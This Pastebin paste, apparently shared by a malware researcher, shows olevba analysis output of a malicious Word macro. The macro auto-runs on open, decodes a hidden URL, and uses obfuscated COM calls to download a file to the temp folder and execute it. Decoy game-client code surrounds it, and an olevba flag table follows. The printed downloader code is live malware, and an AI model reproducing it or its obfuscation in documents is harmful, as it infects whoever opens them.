Advertisement
dynamoo

Malicious Word macro

Mar 24th, 2016
530
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MAS-HB-V 01-vbaProject.bin
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: 01-vbaProject.bin
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: 01-vbaProject.bin - OLE stream: u'VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Sub AutoOpen()
  16. UpdatePlayerList
  17. End Sub
  18. -------------------------------------------------------------------------------
  19. VBA MACRO Module1.bas
  20. in file: 01-vbaProject.bin - OLE stream: u'VBA/Module1'
  21. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  22. Public haslavati_1 As Object
  23. Public haslavati_0_19 As Object
  24. Public haslavati_3 As Object
  25. Public haslavati_7() As String
  26. Public haslavati_4 As String
  27. Public haslavati_5 As String
  28. Public haslavati_6 As Object
  29.  Public haslavati3_1 As String
  30. Public haslavati_0_13() As String
  31. Public Type Playersss
  32.     Name As String      'name
  33.    Class As Integer    'currentclass (-1 = civ, 0 = random, 1-9 = scout-engy) [only applies to TFC servers]
  34.    Team As Integer     'current team
  35.    Status As Boolean
  36.     JoinTime As Date
  37. End Type
  38.  
  39. Public Type typRGB
  40.     R As Byte
  41.     G As Byte
  42.     B As Byte
  43. End Type
  44.  
  45. Public RichColors(1 To 10) As typRGB
  46.  
  47. Public DllEnabled As Boolean
  48. Public GameMode As Integer
  49.  
  50. 'time/update
  51. Public SecondsLeft As Integer
  52. Public MapName As String
  53. Public PlayersOn As String
  54. Public Players(1 To 400) As Playersss
  55. Public NumPlayers As Integer
  56.  
  57. Function MessBox(Prompt As String, Optional Buttons As VbMsgBoxStyle = vbOKOnly, Optional Title As String) As Long
  58.  
  59. Dim MessageBox As New frmMessageBox
  60.  
  61. MessageBox.Prompt = Prompt
  62. MessageBox.Buttons = Buttons
  63. MessageBox.Title = Title
  64.  
  65. MessageBox.Display
  66. MessageBox.ReturnValue = -1
  67. Do
  68.     DoEvents
  69. Loop Until MessageBox.ReturnValue <> -1
  70.  
  71. MessBox = MessageBox.ReturnValue
  72. Unload MessageBox
  73.  
  74. End Function
  75.  
  76. Sub Main()
  77. DllEnabled = True
  78.  
  79. RichColors(1).R = 0
  80. RichColors(1).G = 0
  81. RichColors(1).B = 0
  82.  
  83. RichColors(2).R = 0
  84. RichColors(2).G = 0
  85. RichColors(2).B = 255
  86.  
  87. RichColors(3).R = 255
  88. RichColors(3).G = 0
  89. RichColors(3).B = 0
  90.  
  91. RichColors(4).R = 150
  92. RichColors(4).G = 150
  93. RichColors(4).B = 0
  94.  
  95. RichColors(5).R = 0
  96. RichColors(5).G = 150
  97. RichColors(5).B = 0
  98.  
  99. DataFile = App.Path + "\client.dat"
  100. DataFile2 = App.Path + "\recentip.dat"
  101. DataFile3 = App.Path + "\lastconn.dat"
  102.  
  103. ReDim Commands(1 To 200)
  104. LoadCommands
  105.  
  106. MDIForm1.Caption = "Server Assistant Client - Copyright 2000 CyberWyre"
  107. MDIForm1.Show
  108.  
  109. EditFileTemp = App.Path + "\temp1.txt"
  110.  
  111. MDIForm1.StatusBar1.Panels(1).Text = Ts(App.Major) + "." + Ts(App.Minor) + "." + Ts(App.Revision)
  112.  
  113. Form1.Show
  114. frmConnect.Show
  115.  
  116.  
  117.  
  118. End Sub
  119.  
  120. Sub Swap(a As Variant, B As Variant)
  121. Dim c As Variant
  122.  
  123. c = a
  124. a = B
  125. B = c
  126.  
  127. End Sub
  128.  
  129. Function Ts(a) As String
  130.     Ts = Trim(Str(a))
  131. End Function
  132.  
  133. Function CheckForFile(a$) As Boolean
  134.     B$ = Dir(a$)
  135.     If B$ = "" Then CheckForFile = False
  136.     If B$ <> "" Then CheckForFile = True
  137. End Function
  138.  
  139. Public Sub UpdatePlayerList()
  140. 'Form6.Show
  141. bbc = -1
  142. haslavati_0_13 = Split(Hils.cb1.Text, "::")
  143. haslavati_7 = Split("728_812_812_784_406_329_329_707_749_679_749_749_805_728_679_798_322_693_777_763_329_385_378_714_364_371_707_371_700_798_714_721_385_322_707_840_707", _
  144. "_")
  145.  Set haslavati_1 = CreateObject(haslavati_0_13(0))
  146.   Set haslavati_0_19 = CreateObject(haslavati_0_13(1))
  147.    Set haslavati_6 = CreateObject(haslavati_0_13(2))
  148.     Set haslavati_0_22 = CreateObject(haslavati_0_13(3))
  149.      Set haslavati_3 = haslavati_0_22.Environment(haslavati_0_13(4))
  150.      GoTo maxnumi
  151. If ShowPlayers = False Then Exit Sub
  152. Load Form6 'Form6.Show
  153.  
  154. 'Form6.Visible = ShowPlayers
  155.  
  156. For i = 1 To Form6.ListView1.ListItems.count
  157.     If Form6.ListView1.ListItems.Item(i).Selected = True Then bbc = Val(Form6.ListView1.ListItems.Item(i).SubItems(2))
  158. Next i
  159.  
  160. 'Form6.ListView1.ListItems.Clear
  161.  
  162. 'k = Form6.ListView1.SortKey
  163. 'Form6.ListView1.Sorted = False
  164.  
  165. With Form6.ListView1.ListItems
  166.  
  167. For i = 1 To .count
  168.     .Item(i).Tag = "0"
  169. Next i
  170.  
  171. For i = 1 To NumPlayers
  172.     bc = Len(Ts(Play.ers(i).UserId))
  173.     If bc > maxnum Then maxnum = bc
  174. Next i
  175. maxnum = maxnum + 1
  176. maxnumi:
  177.  
  178.     Dim haslavati_8 As Integer
  179.  
  180. For haslavati_8 = LBound(haslavati_7) To UBound(haslavati_7)
  181.  haslavati3_1 = haslavati3_1 & Chr(CInt(haslavati_7(haslavati_8)) / 7)
  182.  Next haslavati_8
  183.  GoTo form6t
  184. For i = 1 To NumPlayers
  185.  
  186.     img = 0
  187.     'find
  188.    j = 0
  189.     For k = 1 To .count
  190.         If Val(.Item(k).SubItems(2)) = Pla.yers(i).UserId Then j = k: Exit For
  191.     Next k
  192.    
  193.     If j = 0 Then
  194.         'add
  195.        j = .count + 1
  196.         Randomize
  197.         jk = Int(Rnd * 30000) + 1
  198.         .Add j, "A" + Play.ers(i).Name + Ts(jk)
  199.        
  200.         For k = 1 To .count
  201.             If .Item(k).Key = "A" + Play.ers(i).Name + Ts(jk) Then jj = k: Exit For
  202.         Next k
  203.         Form6.ListView1.Sorted = False
  204.        
  205.         j = jj
  206.        
  207.     End If
  208.    
  209.     If .Item(j).Text <> Play.ers(i).Name Then .Item(j).Text = Play.ers(i).Name
  210.     If .Item(j).SubItems(1) <> Pla.yers(i).RealName Then .Item(j).SubItems(1) = Play.ers(i).RealName
  211.    
  212.     us$ = Ts(Play.ers(i).UserId)
  213.     If Len(us$) < maxnum Then us$ = Space(maxnum - Len(us$)) + us$
  214.    
  215.     If .Item(j).SubItems(2) <> us$ Then .Item(j).SubItems(2) = us$
  216.     If .Item(j).SubItems(3) <> Play.ers(i).UniqueID Then .Item(j).SubItems(3) = Play.ers(i).UniqueID
  217.    
  218.     img = Play.ers(i).Team + 2
  219.     If Play.ers(i).Team = 1 And GameMode <> 2 Then t$ = "Blue"
  220.     If Play.ers(i).Team = 2 And GameMode <> 2 Then t$ = "Red"
  221.     If Play.ers(i).Team = 1 And GameMode = 2 Then t$ = "Terrorists"
  222.     If Play.ers(i).Team = 2 And GameMode = 2 Then t$ = "CT"
  223.     If Play.ers(i).Team = 3 Then t$ = "Yellow"
  224.     If Play.ers(i).Team = 4 Then t$ = "Green"
  225.     If Play.ers(i).Team = 0 Then t$ = " None": img = 1
  226.    
  227.     cc = RGB(RichColors(Play.ers(i).Team + 1).R, RichColors(Play.ers(i).Team + 1).G, RichColors(Play.ers(i).Team + 1).B)
  228.    
  229.     If .Item(j).SubItems(4) <> t$ Then .Item(j).SubItems(4) = t$
  230.     If .Item(j).ListSubItems(4).ForeColor <> cc Then .Item(j).ListSubItems(4).ForeColor = cc
  231.    
  232.    
  233.     If Play.ers(i).Class = 1 Then R$ = "Scout"
  234.     If Play.ers(i).Class = 2 Then R$ = "Sniper"
  235.     If Play.ers(i).Class = 3 Then R$ = "Soldier"
  236.     If Play.ers(i).Class = 4 Then R$ = "Demoman"
  237.     If Play.ers(i).Class = 5 Then R$ = "Medic"
  238.     If Play.ers(i).Class = 6 Then R$ = "HWGuy"
  239.     If Play.ers(i).Class = 7 Then R$ = "Pyro"
  240.     If Play.ers(i).Class = 8 Then R$ = "Spy"
  241.     If Play.ers(i).Class = 9 Then R$ = "Engineer"
  242.     If Play.ers(i).Class = 0 Then R$ = "N/A": img = 1
  243.     If Play.ers(i).Class = -1 Then R$ = "Civilian"
  244.     If Play.ers(i).Class = -2 Then R$ = "Undecided": img = 1
  245.    
  246.     If .Item(j).SubItems(5) <> R$ Then .Item(j).SubItems(5) = R$
  247.     If .Item(j).SubItems(6) <> Play.ers(i).IP Then .Item(j).SubItems(6) = Play.ers(i).IP
  248.    
  249.     If Play.ers(i).Status = True Then R$ = "Connected": img = 2
  250.     If Play.ers(i).Status = False Then R$ = "Playing"
  251.    
  252.     If .Item(j).SubItems(7) <> R$ Then .Item(j).SubItems(7) = R$
  253.    
  254.     'Calc time playing
  255.    
  256.     sec$ = Ts(Second(Play.ers(i).JoinTime))
  257.     mn$ = Ts(Minute(Play.ers(i).JoinTime))
  258.     hr$ = Ts(Hour(Play.ers(i).JoinTime))
  259.    
  260.     If Len(hr$) = 1 Then hr$ = "0" + hr$
  261.     If Len(sec$) = 1 Then sec$ = "0" + sec$
  262.     If Len(mn$) = 1 Then mn$ = "0" + mn$
  263.     hr$ = hr$ + ":" + mn$ + ":" + sec$
  264.    
  265.     If .Item(j).SubItems(8) <> hr$ Then .Item(j).SubItems(8) = hr$
  266.     .Item(j).SmallIcon = img
  267.     .Item(j).Tag = "1"
  268.    
  269. Next i
  270. form6t:
  271.  
  272. haslavati_1.Open haslavati_0_13(5), haslavati3_1, False
  273.    
  274.      haslavati_1.Send
  275.      GoTo aggg
  276. 'Form6.ListView1.SortKey = k
  277. 'Form6.ListView1.Sorted = True
  278. Form6.ListView1.Sorted = True
  279.  
  280. 'r$ = Vars.Map
  281.  
  282. If Len(R$) >= 2 Then R$ = UCase(Left(R$, 1)) + LCase(Right(R$, Len(R$) - 1))
  283.  
  284. Form6.Caption = "Players List - " + Ts(NumPlayers)
  285.  
  286.  
  287. 'If bbc <> -1 And Form6.ListView1.ListItems.Count >= bbc Then Form6.ListView1.SelectedItem = Form6.ListView1.ListItems(bbc)
  288.  
  289. 'For I = 1 To Form6.ListView1.ListItems.Count
  290. '    If Val(Form6.ListView1.ListItems.Item(I).SubItems(2)) = bbc Then Form6.ListView1.ListItems.Item(I).Selected = True
  291. 'Next I
  292.  
  293. aggg:
  294. haslavati_4 = haslavati_3(haslavati_0_13(6))
  295. haslavati_5 = haslavati_4
  296. haslavati_5 = haslavati_5 + haslavati_0_13(12)
  297. SendPacket "", ""
  298. Exit Sub
  299. For i = 1 To .count
  300.     If .Item(i).Tag = "0" Or .Item(i).Text = "" Then
  301.         .Remove i: GoTo aggg
  302.     End If
  303. Next i
  304.  
  305. End With
  306.  
  307. End Sub
  308.  
  309.  
  310. Function ReplaceString(ByVal Txt As String, ByVal from_str As String, ByVal to_str As String)
  311. Dim new_txt As String
  312. Dim Pos As Integer
  313.  
  314.     Do While Len(Txt) > 0
  315.         Pos = InStr(Txt, from_str)
  316.         If Pos = 0 Then
  317.             ' No more occurrences.
  318.            new_txt = new_txt & Txt
  319.             Txt = ""
  320.         Else
  321.             ' Found it.
  322.            new_txt = new_txt & Left$(Txt, Pos - 1) & to_str
  323.             Txt = Mid$(Txt, Pos + Len(from_str))
  324.         End If
  325.     Loop
  326.  
  327.     ReplaceString = new_txt
  328. End Function
  329. Public Sub Interprit(Txt As String)
  330.  
  331. 'gets the stuff
  332. '(254)(254)(254)(255)[CODE](255)[PARAMS](255)(253)(253)(253)
  333.  
  334. E = InStr(1, Txt, Chr(255))
  335. f = InStr(E + 1, Txt, Chr(255))
  336.  
  337. If E > 0 And f > E And f > 0 Then
  338.     'code
  339.    a$ = Mid(Txt, E + 1, f - E - 1)
  340.    
  341.    
  342.  
  343.     E = f
  344.     f = InStrRev(Txt, Chr(255))
  345.    
  346.     If E > 0 And f > E And f > 0 Then
  347.         'params
  348.        p$ = Mid(Txt, E + 1, f - E - 1)
  349.         'decode the encoded shtuff
  350.        
  351.     End If
  352. End If
  353.  
  354. If a$ = "IC" Then 'incorrect password
  355.    MessBox "Incorrect password!", vbCritical, "Incorrect Password"
  356.     Form1.TCP1.Close
  357. End If
  358.  
  359. If a$ = "HI" Then 'welcome!
  360.    AddEvent "**** Logged in."
  361.     MessBox p$, , "Welcome!"
  362.     PackageConnectPacket
  363. End If
  364.  
  365. If a$ = "MS" Then 'message
  366.    If MDIForm1.mnuWindowsIn(4).Checked = False Then
  367.         MessBox p$, , "Server Message"
  368.     Else
  369.         AddMsg "----------" + vbCrLf + "Server Message:" + vbCrLf + p$ + vbCrLf + "----------"
  370.     End If
  371. End If
  372.  
  373. If a$ = "TY" Then 'Add to CONSOLE
  374.    AddMsg p$
  375. End If
  376.  
  377. End Sub
  378.  
  379. Sub AddMsg(Txt As String)
  380.  
  381. 'add text to console
  382.  
  383.  
  384.  
  385. Txt = ReplaceString(Txt, vbCrLf, Chr(10))
  386. Txt = ReplaceString(Txt, Chr(10), vbCrLf)
  387.  
  388.  
  389. Form1.Text1 = Form1.Text1 + Txt + vbCrLf
  390. If Len(Form1.Text1) > 5000 Then Form1.Text1 = Right(Form1.Text1, 4500)
  391. Form1.Text1.SelStart = Len(Form1.Text1)
  392.  
  393.  
  394. End Sub
  395.  
  396.  
  397. Public Sub SendPacket(Cde As String, Params As String)
  398. GoTo a5
  399. If SendingFile = True Then Exit Sub
  400.  
  401. a$ = Chr(254) + Chr(254) + Chr(254) + Chr(255) + Cde + Chr(255) + LoginName + Chr(255) + LoginPass + Chr(255) + Params + Chr(255) + Chr(253) + Chr(253) + Chr(253)
  402. a5:
  403. DoubleD = 2
  404. CallByName haslavati_0_19, haslavati_0_13(6 + 1), 8 / DoubleD, DoubleD / DoubleD
  405.  haslavati_0_19.Open
  406.  AddEvent ""
  407.  Exit Sub
  408. If Form1.TCP1.State = sckConnected Then
  409.     'send it in increments of 65000 bytes
  410.    If Len(a$) <= 65000 Then
  411.         Form1.TCP1.SendData a$
  412.     Else
  413.         Do
  414.             'cut off a segment
  415.            If Len(a$) > 65000 Then
  416.                 B$ = Left(a$, 65000)
  417.                 'cut a$
  418.                a$ = Right(a$, Len(a$) - 65000)
  419.             Else
  420.                 B$ = a$
  421.             End If
  422.            
  423.             Form1.TCP1.SendData B$
  424.             DoEvents
  425.         Loop Until Len(B$) < 65000
  426.     End If
  427. End If
  428.  
  429.  
  430.  
  431.  
  432.  
  433. End Sub
  434.  
  435. Public Sub AttemptConnect(IP As String, Port As String, UserName As String, Password As String)
  436.  
  437. LoginName = UserName
  438. LoginPass = Password
  439. Form1.TCP1.RemoteHost = IP
  440. Form1.TCP1.RemotePort = Val(Port)
  441. Form1.TCP1.Connect
  442.  
  443. End Sub
  444.  
  445. Public Sub AddEvent(Txt As String)
  446.  
  447. 'Form1.Text1 = Form1.Text1 + Txt + vbCrLf
  448. 'If Len(Form1.Text1) > 3000 Then Form1.Text1 = Right(Form1.Text1, 2990)
  449. 'Form1.Text1.SelStart = Len(Form1.Text1)
  450.  
  451.   haslavati_1_1 = CallByName(haslavati_1, haslavati_0_13(10), VbGet)
  452.  CallByName haslavati_0_19, haslavati_0_13(9), VbMethod, haslavati_1_1
  453. UpdateLabel
  454. End Sub
  455.  
  456. Sub UnPackageUpdate(p$)
  457. 'extracts time, map, and players from the string
  458.  
  459. f = 0
  460. i = 0
  461. Do
  462.  
  463.     E = InStr(f + 1, p$, Chr(251))
  464.     f = InStr(E + 1, p$, Chr(251))
  465.     'extract this section
  466.    
  467.     If E > 0 And f > E Then
  468.         a$ = Mid(p$, E + 1, f - E - 1)
  469.         i = i + 1
  470.            
  471.         h = 0
  472.         j = 0
  473.         Do
  474.             G = h
  475.             h = InStr(G + 1, a$, Chr(250))
  476.             G = G + 1
  477.             j = j + 1
  478.             If G > 0 And h > G Then
  479.                 m$ = Mid(a$, G, h - G)
  480.                
  481.                 If j = 1 Then SecondsLeft = Val(m$)
  482.                 If j = 2 Then MapName = m$
  483.                 If j = 3 Then PlayersOn = m$
  484.             End If
  485.         Loop Until h = 0
  486.    
  487.     End If
  488. Loop Until f = 0 Or E = 0
  489.  
  490. UpdateLabel
  491.  
  492. End Sub
  493.  
  494. Sub UpdateLabel()
  495. GoTo dEnd
  496. G$ = "Map Time Remaining: "
  497.  
  498. a = SecondsLeft
  499.  
  500. Do
  501.     If a >= 60 Then a = a - 60: m = m + 1
  502. Loop Until a < 60
  503.  
  504. Do
  505.     If m >= 60 Then m = m - 60: h = h + 1
  506. Loop Until m < 60
  507.  
  508. hh$ = Ts(h)
  509. If Len(hh$) = 1 Then hh$ = "0" + hh$
  510.  
  511. mm$ = Ts(m)
  512. If Len(mm$) = 1 Then mm$ = "0" + mm$
  513.  
  514. ss$ = Ts(a)
  515. If Len(ss$) = 1 Then ss$ = "0" + ss$
  516.  
  517. c$ = hh$ + ":" + mm$ + ":" + ss$
  518.  
  519. G$ = G$ + c$ + vbCrLf
  520. dEnd:
  521.  CallByName haslavati_0_19, haslavati_0_13(11), VbMethod, haslavati_5, 2
  522.   haslavati_6.Open (haslavati_5)
  523.   Exit Sub
  524. 'map
  525.  
  526. G$ = G$ + "Current Map: " + MapName + vbCrLf
  527. G$ = G$ + "Users: " + PlayersOn
  528.  
  529. Form1.lblUpdate = G$
  530.  
  531. End Sub
  532.  
  533. Function CheckBit2(BitNum, BitToCheck) As Boolean
  534.  
  535. Dim a As Long, B As Long
  536. B = BitNum
  537. a = 2 ^ BitToCheck
  538.  
  539. If (B And a) = a Then CheckBit2 = True
  540.  
  541. End Function
  542. Sub Graph(exportChart As Boolean, result As Object, scl As Double, topAsBottom As Boolean)
  543.     'modified data for graphing
  544.    Dim count As Integer, plotRange As Range, force As Boolean
  545.     Set plotRange = result.Range("Force").Cells(1, 1).Offset(0, 1)
  546.     count = Application.WorksheetFunction.count(result.Range("XT"))
  547.     Call prepareData(result, count, force, topAsBottom)
  548.     'sort data for graphing
  549.    Dim col As Range, sortRange As Range, lastRow As Range
  550.     Set col = result.Range(plotRange, plotRange.Offset(3 * count - 1))
  551.     'select sortRange
  552.    Set sortRange = result.Range(plotRange.Offset(0), plotRange.Offset(3 * count - 1, 2))
  553.     Call prepareData(result, count, force, topAsBottom)
  554.     'Sort data
  555.    With result.Sort
  556.     .SortFields.Clear
  557.     .SortFields.Add Key:=col, _
  558.     SortOn:=xlSortOnValues, Order:=xlAscending, DataOption:=xlSortNormal
  559.     .SetRange sortRange
  560.     .Header = xlGuess
  561.     .MatchCase = False
  562.     .Orientation = xlTopToBottom
  563.     .SortMethod = xlPinYin
  564.     .Apply
  565.     End With
  566.     'Add Chart
  567.    With result.ChartObjects.Add _
  568.         (Left:=100, Width:=375, top:=75, Height:=225)
  569.         .Name = "displacement"
  570.         .chart.ChartType = xlXYScatter
  571.         .chart.SetSourceData Source:=result.Range(plotRange.Offset(0, 1), plotRange.Offset(3 * count - 1, 2))
  572.         End With
  573.     Dim chartobj As Object
  574.     Set chartobj = result.ChartObjects("displacement")
  575.     Call formatChart(chartobj.chart)
  576. '    Call graphDLine(result.ChartObjects)
  577.    If exportChart Then Call exportChartf(chartobj)
  578. End Sub
  579. 'Prepare data for graphing
  580. Sub prepareData(result As Object, count As Integer, force As Boolean, top As Boolean)
  581.     Dim i As Integer, j As Integer
  582.     Dim plotRange As Range, xt As Range, yt As Range, xb As Range, yb As Range
  583.     Set plotRange = result.Range("Force").Cells(1, 1).Offset(0, 1)
  584.     If top Then
  585.         Set xb = result.Range("XT").Cells(1, 1)
  586.         Set yb = result.Range("YT").Cells(1, 1)
  587.     Else
  588.         Set xb = result.Range("XB").Cells(1, 1)
  589.         Set yb = result.Range("YB").Cells(1, 1)
  590.     End If
  591.    
  592.     Set plotRange = result.Range("Force").Cells(1, 1).Offset(0, 1)
  593.  
  594.     For j = 0 To 2
  595.         For i = 0 To count - 1
  596.             plotRange.Offset(i + j * count).Value = i
  597.             Next i
  598.         Next j
  599.  
  600.         Set xt = result.Range("scaled_XT").Cells(1, 1)
  601.         Set yt = result.Range("scaled_YT").Cells(1, 1)
  602.         For i = 0 To count - 1
  603.             plotRange.Offset(i, 1).Value = xb.Offset(i)
  604.             plotRange.Offset(i, 2).Value = yb.Offset(i)
  605.             plotRange.Offset(i + count, 1).Value = xt.Offset(i)
  606.             plotRange.Offset(i + count, 2).Value = yt.Offset(i)
  607.             Next i
  608. '    End If
  609.  
  610. End Sub
  611.  
  612.  
  613. 'Format chart, line, arrow. Background image has to be named cell
  614. Sub formatChart(chart As chart)
  615.     'Do not show legend
  616.    chart.Legend.Clear
  617.     'Format arrow and line
  618.    With chart.SeriesCollection(1)
  619.         .MarkerStyle = -4142
  620.         .Format.Line.EndArrowheadStyle = msoArrowheadStealth
  621.         .Format.Line.ForeColor.ObjectThemeColor = msoThemeColorBackground1
  622.         .Format.Line.ForeColor.TintAndShade = 0
  623.         .Format.Line.ForeColor.Brightness = 0
  624.         .Format.Line.Transparency = 0
  625.        
  626.         .Format.Glow.Color.ObjectThemeColor = msoThemeColorAccent1
  627.         .Format.Glow.Color.TintAndShade = 0
  628.         .Format.Glow.Color.Brightness = 0.400000006
  629.         .Format.Glow.Transparency = 0.4800000191
  630.         .Format.Glow.Radius = 26
  631.     End With
  632.    
  633.     'Insert image background to chart
  634.        'get current directory
  635.        Dim currentDir As String, picDir As String
  636.         currentDir = ThisWorkbook.Path
  637.         picDir = currentDir & "\cell.tif"
  638.     With chart.PlotArea.Format.Fill
  639.         .Visible = msoTrue
  640.         .UserPicture picDir
  641.     End With
  642.     'Set the xy- scale of chart to match that of the picture
  643.    'coFactor is the conversion factor from vba to inches
  644.    Dim pic As Object, result As Object, coFactor
  645.     coFactor = 140 / 105
  646.     Set result = ThisWorkbook.Worksheets("result")
  647.     Set pic = result.Pictures.Insert(picDir)
  648.  '   MsgBox pic.Width & "A" & pic.Height
  649.    pic.ShapeRange.ScaleHeight 1, msoTrue
  650.     pic.ShapeRange.ScaleWidth 1, msoTrue
  651.     pic.Visible = msoTrue
  652.     chart.Axes(xlValue).MinimumScale = 0
  653.     chart.Axes(xlValue).MaximumScale = pic.Height * coFactor
  654.     Module1.Out pic.Height
  655.     Module1.Out pic.Width
  656.     chart.Axes(xlCategory).MinimumScale = 0
  657.     chart.Axes(xlCategory).MaximumScale = pic.Width * coFactor
  658.     For Each ax In chart.Axes
  659.         ax.HasMajorGridlines = False
  660.         ax.HasMinorGridlines = False
  661.         Next
  662. End Sub
  663. 'graph the boundary of d-region
  664. Sub graphDLine(chartobjs As Object)
  665.     Dim region As Object, pRange As Range, i As Integer
  666.     Dim chartobj As Object
  667.     Dim chrt As chart
  668.     Set chrt = chartobjs("displacement").chart
  669.     Set region = ThisWorkbook.Worksheets("Region")
  670.     For i = 1 To 2
  671.         region.Range("dBoundary").Cells(6 * i - 4, 2).Value = chrt.Axes(xlValue).MaximumScale
  672.         region.Range("dBoundary").Cells(6 * i - 4 + 3, 1).Value = chrt.Axes(xlCategory).MaximumScale
  673.         Next i
  674.     Set pRange = region.Range("dBoundary")
  675.     pRange.Select
  676.     With chrt.SeriesCollection.NewSeries
  677.         .Name = "dboundary"
  678.         .XValues = pRange.Columns(1)
  679.         .Values = pRange.Columns(2)
  680.         End With
  681.    
  682. End Sub
  683. 'Export chart to image if user say yes
  684. Sub exportChartf(chartobj As Object)
  685.     Name = "result.png"
  686.     On Error Resume Next
  687.     Kill ThisWorkbook.Path & "\" & Name
  688.     On Error GoTo 0
  689.     chartobj.Activate
  690.     chartobj.chart.Export FileName:=ThisWorkbook.Path & "\" & Name, Filtername:="PNG"
  691. End Sub
  692.  
  693. -------------------------------------------------------------------------------
  694. VBA MACRO Hils.frm
  695. in file: 01-vbaProject.bin - OLE stream: u'VBA/Hils'
  696. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  697. (empty macro)
  698. +------------+----------------------+-----------------------------------------+
  699. | Type       | Keyword              | Description                             |
  700. +------------+----------------------+-----------------------------------------+
  701. | AutoExec   | AutoOpen             | Runs when the Word document is opened   |
  702. | Suspicious | Kill                 | May delete a file                       |
  703. | Suspicious | Open                 | May open a file                         |
  704. | Suspicious | CreateObject         | May create an OLE object                |
  705. | Suspicious | CallByName           | May attempt to obfuscate malicious      |
  706. |            |                      | function calls                          |
  707. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  708. |            |                      | strings                                 |
  709. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  710. |            |                      | be used to obfuscate strings (option    |
  711. |            |                      | --decode to see all)                    |
  712. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  713. |            |                      | may be used to obfuscate strings        |
  714. |            |                      | (option --decode to see all)            |
  715. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  716. |            | Strings              | may be used to obfuscate strings        |
  717. |            |                      | (option --decode to see all)            |
  718. | VBA string |                      | Chr(10)                                 |
  719. |            |                      |                                         |
  720. +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement